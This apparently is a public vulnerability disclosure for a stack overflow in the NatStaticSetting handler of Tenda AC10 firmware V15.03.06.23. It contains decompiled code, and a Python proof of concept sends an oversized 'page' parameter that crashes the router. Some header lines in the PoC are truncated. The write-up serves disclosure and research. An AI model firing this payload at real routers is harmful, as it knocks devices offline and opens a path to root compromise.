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z1r00 Update readme.md

History

1 contributor



63 lines (41 sloc) | 1.76 KB

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Tenda AC10V15.03.06.23 Stack overflow vulnerability

Firmware information

- Manufacturer's address: <https://www.tenda.com.cn/>
- Firmware download address : <https://www.tenda.com.cn/download/detail-2734.html>

Affected version

AC10V1.0升级软件 V15.03.06.23

立即下载

关联产品: AC10 v2.0 更新日期: 2017/10/18

- 1.此固件只适用于AC10且当前软件为V15.03.06.XX的机器升级,不同型号不能使用该软件,升级前请确定当前软件版本。
- 2.下载解压后,请使用有线连接路由器升级,升级过程中切勿切断电源,否则会导致机器损坏无法使用!

* 如果链接错误或其他问题,请反馈到 tenda@tenda.com.cn或联系[在线客服](#), 谢谢。

Vulnerability details

```
2 {
3 char_t *en; // [sp+18h] [+18h]
4 const char *page; // [sp+1Ch] [+1Ch]
5 const char *op; // [sp+20h] [+20h]
6 char *str; // [sp+24h] [+24h]
7 char_t gotopage[256]; // [sp+28h] [+28h] BYREF
8
9 str = websGetVar(wp, "entrys", byte_510818);
10 op = websGetVar(wp, "op", "no");
11 save_list_data("adv.snat", str, 126);
12 page = websGetVar(wp, "page", "1");
13 sprintf(gotopage, "nat_static.asp?page=%s", page); // vuln overflow
14 if ( strcmp(op, "add", 3u) && strcmp(op, "edit", 4u) )
15 {
16     en = websGetVar(wp, "isoncheck", "0");
17     SetValue("adv.snat.en", en);
18 }
19 if ( CommitCfm() )
20     PostMsgToNetctrl(34);
21 websRedirect(wp, gotopage);
22 }
```

/goform/NatStaticSetting, It can be seen that the page is controlled by the user, and will be spliced into the gotopage with sprintf. It is worth noting that there is no size limit to cause stack overflow.

Poc

```
import socket
import os
```

```

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

r.connect((ip, port))

rn = b'\r\n'

p1 = b'a' * 0x300
p2 = b'page=' + p1

p3 = b"POST /goform/NatStaticSetting" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + r
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=password; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) + rn
p3 += b"Content-Type: application/x-www-form-urlencoded"+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)

```



You can see the router crash, and finally we can write an exp to get a root shell